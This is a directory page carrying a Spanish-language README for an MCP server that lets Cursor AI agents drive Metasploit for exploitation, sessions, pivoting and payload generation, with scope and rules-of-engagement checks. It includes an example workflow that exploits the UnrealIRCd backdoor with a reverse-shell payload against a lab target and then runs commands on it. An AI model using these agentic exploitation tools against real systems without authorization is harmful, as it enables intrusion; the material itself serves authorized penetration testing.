Skip to main content
Glama
Suzu-Testing

msf-harness

by Suzu-Testing

Metasploit Cursor Harness

CI Python 3.10+ License: MIT Coverage

Arnés de pruebas de penetración agéntico que conecta agentes de IA de Cursor con el Metasploit Framework mediante MCP (Model Context Protocol). Proporciona acceso estructurado y restringido por alcance al RPC de Metasploit a través de 54 herramientas especializadas que abarcan reconocimiento, explotación, gestión de sesiones, post-explotación, pivoting, generación de payloads y operaciones de base de datos.

Diseñado para flujos de trabajo de laboratorio autorizados y pentest profesional con reglas de compromiso explícitas, aplicación de políticas en el servidor, registro de auditoría y metodología de fases/puertas alineada con PTES.

Por qué este arnés

Capacidad

Este arnés

msfmcpd oficial

GH05TCREW/MetasploitMCP

Número de herramientas

54

~23

~15

ROE en el servidor (CIDR, módulo, sesión)

No

No

Hooks de Cursor (puertas de alcance, puntuación de riesgo, evidencia)

18 scripts

No

No

Fases/puertas de flujo de trabajo PTES

7 fases, 57 habilidades

No

No

Ejecución de exploits centrada en consola

No

asyncio.to_thread (no bloqueante)

No

Autorización de dominio

Sí (fail-closed)

No

No

Detección automática de LHOST

Sí (multiplataforma)

No

No

Puerta de verificación antes de explotar

Aplicada

No

No

Registro de auditoría + estado del mundo

No

No

Habilidades de pentest autocontenidas

57 habilidades en 5 niveles

No

No

Related MCP server: MSFConsole MCP Server

Características

  • 54 herramientas MCP que cubren reconocimiento, explotación, sesiones, operaciones de Meterpreter, pivoting, payloads, handlers, workspaces, consola, escrituras en base de datos y utilidades de laboratorio

  • Exploits centrados en consola con captura de salida síncrona, detección de sesiones y análisis de fallos

  • Aplicación de ROE en el servidor: alcance CIDR, autorización de dominio, límites de ancho CIDR, límites de sesiones, bloqueo de DoS, puerta de verificación antes de explotar

  • 18 scripts de hook de Cursor: validación de alcance, puntuación de riesgo (0-100), detección de duplicados, registro de evidencia, seguimiento del estado del mundo, redacción de credenciales

  • 57 habilidades de agente autocontenidas: flujo de trabajo PTES, playbooks específicos de dominio (web, AD, nube, contenedores, móvil, binario, evasión, nivel de servicio, clase de vulnerabilidad)

  • 5 subagentes especializados: orquestador, reconocimiento, explotación, post-explotación, revisor

Soporte de plataformas

Plataforma

Estado

Notas

Windows + WSL2 + Kali

Principal

Pipeline de hooks completo, soporte de laboratorio Docker

Linux nativo / Kali

Soportado

Requiere pwsh para hooks; msfrpcd nativo

macOS + MSF remoto

Experimental

El servidor MCP funciona; los hooks necesitan pwsh; apunta MSF_HOST al RPC remoto

Requisitos previos

  • Python 3.10+

  • Metasploit Framework (en WSL/Kali o Linux nativo)

  • IDE Cursor con soporte MCP

  • PowerShell Core (pwsh) para el pipeline de hooks

  • Objetivos autorizados definidos en scope/scope-master.txt

Inicio rápido

1. Clonar e instalar

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. Configurar credenciales

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. Iniciar Metasploit RPC

Windows (WSL):

.\scripts\start-msfrpcd.ps1

Linux / Kali (nativo):

./scripts/start-msfrpcd.sh

4. Habilitar MCP en Cursor

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

Activa msf-harness en Configuración de Cursor > MCP.

5. Verificar la configuración

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

Luego, en el chat de Cursor, ejecuta msf_status para confirmar la conexión MCP.

6. Objetivos de laboratorio (opcional)

Consulta docs/LAB.md para el laboratorio Docker integrado de Metasploitable2.

Para HackTheBox, TryHackMe, OSCP o tus propios objetivos, consulta docs/BYO-TARGETS.md.

Para instrucciones detalladas de configuración, consulta docs/SETUP.md.

O ejecuta el bootstrap de un solo comando:

.\scripts\bootstrap.ps1

Tu primer exploit

Una vez completada la configuración y que msf_status funcione en el chat de Cursor, prueba esta demostración de extremo a extremo contra el laboratorio Docker:

1. Inicia los objetivos del laboratorio:

.\scripts\start-lab-targets.ps1

2. En el chat de Cursor, pide al agente que explote el laboratorio:

Escanea el objetivo del laboratorio en 10.255.255.254 puerto 9667 y explota la puerta trasera de UnrealIRCd usando el compromiso lab-default

El agente:

  1. Ejecutará msf_module_check para verificar que el objetivo es vulnerable (requerido por ROE)

  2. Llamará a msf_get_lab_network para auto-detectar LHOST

  3. Ejecutará msf_run_exploit con exploit/unix/irc/unreal_ircd_3281_backdoor

  4. Llamará a msf_list_active_sessions para confirmar la shell

  5. Usará msf_send_session_command para ejecutar comandos en el objetivo

O hazlo paso a paso con llamadas individuales a herramientas MCP:

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

Consulta docs/LAB.md para el mapa de puertos completo y notas específicas de exploits.

Arquitectura

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

Herramientas MCP (54 en total)

Solo lectura (no requieren engagement_id)

Herramienta

Propósito

msf_status

Comprobar conectividad RPC, versión, número de sesiones

msf_search_modules

Buscar módulos por palabra clave, CVE o nombre

msf_module_info

Opciones del módulo, objetivos, referencias, rango

msf_module_options

Obtener opciones configurables para un módulo

msf_running_stats

Obtener estadísticas de módulos en ejecución

msf_list_modules

Listar módulos por tipo con filtro opcional

msf_host_info

Consultar hosts descubiertos desde msfdb

msf_service_info

Consultar servicios descubiertos (puertos, protocolos)

msf_vulnerability_info

Consultar registros de vulnerabilidades

msf_note_info

Consultar anotaciones/notas

msf_credential_info

Consultar credenciales recopiladas

msf_loot_info

Consultar botín/archivos recopilados

msf_list_active_sessions

Listar sesiones actuales con tipo y objetivo

msf_session_info

Obtener información detallada de una sesión

msf_list_listeners

Listar handlers activos/trabajos en segundo plano

msf_job_info

Obtener detalles de un trabajo específico

msf_list_payloads

Buscar payloads disponibles por nombre/plataforma/arquitectura

msf_compatible_payloads

Listar payloads compatibles con un módulo dado

msf_list_workspaces

Listar workspaces de la base de datos

msf_db_status

Comprobar conectividad de la base de datos e información del driver

msf_console_list

Listar instancias de consola RPC activas

msf_get_lab_network

Obtener configuración del laboratorio (puertos Docker, LHOST)

msf_route_list

Listar rutas activas para pivoting de sesiones

Acción (requieren engagement_id)

Herramienta

Propósito

msf_module_check

Sonda de vulnerabilidad segura (no explotable)

msf_module_results

Consultar resultados de un trabajo de módulo asíncrono por UUID

msf_run_exploit

Ejecutar módulo de exploit (modo consola o trabajo RPC, tiempo de espera configurable)

msf_run_auxiliary_module

Ejecutar módulo auxiliar (escáner, fuzzer; modo consola opcional)

msf_run_post_module

Ejecutar módulo de post-explotación en una sesión (modo consola opcional)

msf_send_session_command

Ejecutar comando en shell/meterpreter activo

msf_terminate_session

Terminar una sesión

msf_wait_for_session

Sondeo de nuevas sesiones después de exploit/handler

msf_session_upgrade

Mejorar shell a Meterpreter

msf_session_sysinfo

Obtener SO/arquitectura/nombre de host de sesión Meterpreter

msf_session_getuid

Obtener identidad de usuario actual de sesión Meterpreter

msf_session_ps

Listar procesos en ejecución en sesión Meterpreter

msf_session_download

Descargar archivo del objetivo a evidence/

msf_session_upload

Subir archivo desde evidence/ al objetivo (en sandbox)

msf_session_run_script

Ejecutar script de Meterpreter en la sesión

msf_start_listener

Iniciar listener multi/handler

msf_stop_job

Detener un trabajo en segundo plano

msf_cleanup_jobs

Detener todos los trabajos en segundo plano para liberar puertos

msf_generate_payload

Generar archivo de payload (guardado en evidence/)

msf_create_workspace

Crear workspace de base de datos

msf_set_workspace

Cambiar workspace activo

msf_delete_workspace

Eliminar workspace de base de datos

msf_db_import

Importar datos de escaneo (nmap XML, Nessus, etc.)

msf_db_nmap

Ejecutar nmap y auto-importar resultados

msf_console_execute

Ejecutar comando arbitrario de msfconsole vía RPC

msf_route_add

Añadir ruta a través de sesión para pivoting

msf_route_delete

Eliminar una ruta

msf_autoroute

Auto-añadir rutas vía post/multi/manage/autoroute

msf_report_host

Reportar host manualmente a la base de datos

msf_credential_add

Almacenar credencial descubierta en la base de datos

msf_db_add_note

Añadir nota/anotación a la base de datos

Flujo de trabajo de ejemplo

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

Modelo de seguridad

  1. ROE del lado del servidor (msf_harness/mcp/policy/roe.py): valida objetivos contra CIDRs de compromiso, bloquea módulos prohibidos, aplica límites de sesión, limita el ancho de escaneo CIDR, requiere verificación antes de explotar, valida dominios (fail-closed)

  2. Hooks de Cursor (.cursor/hooks/): compuertas de alcance en cada comando de shell y llamada MCP, puntuación de riesgo (0-100 con escalada CRÍTICA), detección de duplicados, registro de auditoría en logs/command-ledger.jsonl, guardado automático de evidencia, redacción de credenciales

  3. Análisis de comandos de consola: msf_console_execute extrae y valida RHOSTS, rutas de módulos y objetivos db_nmap de comandos sin procesar

  4. Restricciones de rutas de archivo: msf_db_import y msf_generate_payload restringidos a los directorios evidence/ y engagements/

  5. Módulos DoS (auxiliary/dos/*) bloqueados incondicionalmente

  6. Saneamiento de entrada: argumentos nmap en lista blanca, claves de opción validadas, valores de consola con escape de comillas

Úselo solo en sistemas que esté autorizado a probar.

Solución de problemas

Síntoma

Solución

msf_status dice "No se puede conectar a msfrpcd"

Ejecute .\scripts\start-msfrpcd.ps1; verifique que msfrpcd esté escuchando con wsl -e bash -lc "ss -tlnp | grep 55553"

El servidor MCP no aparece en Cursor

Asegúrese de que .cursor/mcp.json use rutas absolutas para cwd y PYTHONPATH; reinicie Cursor

"MSF_PASSWORD no está configurado"

Configúrelo en .env (cópielo de .env.example si es necesario)

"Objetivo fuera de alcance" o denegación de ROE

Agregue la IP/CIDR del objetivo a scope/scope-master.txt Y a authorized_cidrs en engagements/<id>/roe.yaml

La verificación del módulo falla con "no compatible"

Algunos módulos carecen de un método check; esto es normal. Proceda con precaución.

Sin sesión después de la explotación

Verifique que LHOST sea correcto (msf_get_lab_network); revise el firewall; pruebe con un payload diferente

Errores de hook en la salida de Cursor

Verifique que pwsh (PowerShell 7+) esté instalado: winget install Microsoft.PowerShell

Errores de importación de Python

Ejecute pip install -e ".[mcp]" desde la raíz del proyecto

Ejecute python scripts/doctor.py para una verificación completa de requisitos previos.

Desarrollo

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

Consulte CONTRIBUTING.md para la configuración de desarrollo y las pautas de PR.

Estructura de directorios

Ruta

Propósito

msf_harness/mcp/

Paquete de servidor MCP de Python

msf_harness/mcp/tools/

Implementaciones de herramientas MCP (12 módulos, 54 herramientas)

msf_harness/mcp/rpc/

Cliente RPC de Metasploit con reconexión automática

msf_harness/mcp/policy/

Aplicación de ROE (CIDR, dominio, módulo, sesión, compuerta de explotación)

scope/

CIDRs y dominios objetivo autorizados

engagements/

Configuraciones de ROE por compromiso y estado del flujo de trabajo

evidence/msf/

Evidencia capturada (ignorada por git)

logs/

Registros de auditoría de hooks y registro de comandos (ignorados por git)

.cursor/hooks/

Compuertas de seguridad de PowerShell Core (18 scripts)

.cursor/skills/

Playbooks de flujo de trabajo de agentes (57 habilidades)

.cursor/agents/

Definiciones de subagentes personalizados (5 agentes)

.cursor/rules/

Guía de agentes siempre activa (3 reglas + AGENTS.md)

scripts/

Scripts de utilidad (iniciar RPC, crear compromiso, verificación de salud, validar MCP)

tests/

Suites de pruebas de Pytest y hooks

docs/

Guía de configuración, guía de laboratorio, guía de objetivos BYO

Licencia

MIT

Agradecimientos

A
license - permissive license
Not graded
quality - not tested
C
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.
    8
    MIT
  • -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2

View all related MCP servers

Related MCP Connectors

  • MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'

If you have feedback or need assistance with the MCP directory API, please join our Discord server